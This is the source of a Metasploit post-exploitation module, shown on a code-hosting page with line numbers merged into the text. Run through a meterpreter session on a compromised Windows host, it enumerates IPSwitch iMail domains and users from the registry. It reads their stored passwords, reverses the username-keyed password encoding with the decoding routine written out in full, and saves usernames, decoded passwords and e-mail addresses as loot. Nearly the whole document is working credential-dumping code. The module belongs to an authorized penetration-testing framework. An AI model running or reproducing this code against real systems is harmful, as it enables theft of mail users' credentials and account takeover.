Path: blob/master/modules/post/windows/gather/credentials/imail.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Registry7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Gather IPSwitch iMail User Data Enumeration',14'Description' => %q{15This module will collect iMail user data such as the username, domain,16full name, e-mail, and the decoded password. Please note if IMAILUSER is17specified, the module extracts user data from all the domains found. If18IMAILDOMAIN is specified, then it will extract all user data under that19particular category.20},21'License' => MSF_LICENSE,22'Author' => [23'sinn3r', # Metasploit24],25'References' => [26['EDB', '11331'],27],28'Platform' => [ 'win' ],29'SessionTypes' => [ 'meterpreter' ],30'Notes' => {31'Stability' => [CRASH_SAFE],32'SideEffects' => [],33'Reliability' => []34}35)36)3738register_options(39[40OptString.new('IMAILUSER', [false, 'iMail username', '']),41OptString.new('IMAILDOMAIN', [false, 'iMail Domain', ''])42]43)44end4546def download_info(imail_user = '', imail_domain = '')47base = 'HKLM\\SOFTWARE\\Ipswitch\\IMail'4849# Find domain(s)50users_subkey = []51if imail_domain.empty?52domains_key = registry_enumkeys("#{base}\\domains")53if !domains_key.nil?54domains_key.each do |domain_key|55users_subkey << "#{base}\\domains\\#{domain_key}\\Users"56end57end58else59users_subkey << "#{base}\\domains\\#{imail_domain}\\Users"60end6162# Find users63users_key = []64users_subkey.each do |user_key|65if imail_user.empty?66users = registry_enumkeys(user_key)67if !users.nil?68users.each do |user|69users_key << "#{user_key}\\#{user}"70end71end72else73users_key << "#{user_key}\\#{imail_user}"74end75end7677# Get data for each user78users = []79users_key.each do |key|80# Filter out '_aliases'81next if key =~ /_aliases/8283vprint_status("Grabbing key: #{key}")8485domain = ::Regexp.last_match(1) if key =~ /Ipswitch\\IMail\\domains\\(.+)\\Users/86mail_addr = registry_getvaldata(key, 'MailAddr')87password = registry_getvaldata(key, 'Password')88full_name = registry_getvaldata(key, 'FullName')89username = ::Regexp.last_match(1) if mail_addr =~ /(.+)@.+/9091# Hmm, I don't think this user exists, skip to the next one92next if mail_addr.nil?9394current_user =95{96domain: domain,97fullname: full_name,98username: username,99email: mail_addr,100password: password101}102103users << current_user104end105106return users107end108109def decode_password(username = '', enc_password = '')110# No point trying to decode if there's no username or password111return '' if username.empty? || enc_password.empty?112113counter = 0114password = ''115116# Start decoding, what's up gold $$1170.step(enc_password.length - 1, 2) do |i|118byte_1 = enc_password[i, 1].unpack('C')[0]119byte_1 = (byte_1 <= 57) ? byte_1 - 48 : byte_1 - 55120byte_1 *= 16121122byte_2 = enc_password[i + 1, 1].unpack('C')[0]123byte_2 = (byte_2 <= 57) ? byte_2 - 48 : byte_2 - 55124125char = byte_1 + byte_2126127counter = 0 if username.length <= counter128129username_byte = username[counter, 1].unpack('C')[0]130if (username_byte > 54) && (username_byte < 90)131username_byte += 32132end133134char -= username_byte135counter += 1136password << char.chr137end138139vprint_status("Password '#{enc_password}' = #{password}")140141return password142end143144def report(users)145credentials = Rex::Text::Table.new(146'Header' => 'Ipswitch iMail User Credentials',147'Indent' => 1,148'Columns' =>149[150'User',151'Password',152'Domain',153'Full Name',154'E-mail'155]156)157158users.each do |user|159domain = user[:domain]160username = user[:username]161password = user[:password]162full_name = user[:fullname]163e_mail = user[:email]164165if datastore['VERBOSE']166text = ''167text << "User=#{username}, "168text << "Password=#{password}, "169text << "Domain=#{domain}, "170text << "Full Name=#{full_name}, "171text << "E-mail=#{e_mail}"172print_good(text)173end174175credentials << [username, password, domain, full_name, e_mail]176end177178print_status('Storing data...')179180path = store_loot(181'imail.user.creds',182'text/csv',183session,184credentials.to_csv,185'imail_user_creds.csv',186'Ipswitch iMail user credentials'187)188189print_status("User credentials saved in: #{path}")190end191192def run193imail_user = datastore['IMAILUSER']194imail_domain = datastore['IMAILDOMAIN']195196vprint_status('Download iMail user information...')197198# Download user data. If no user specified, we dump it all.199users = download_info(imail_user, imail_domain)200201# Process fullname and decode password202users.each do |user|203user[:fullname] = Rex::Text.to_ascii(user[:fullname][2, user[:fullname].length])204user[:password] = decode_password(user[:username], user[:password])205end206207# Report information and store it208report(users)209end210end211212213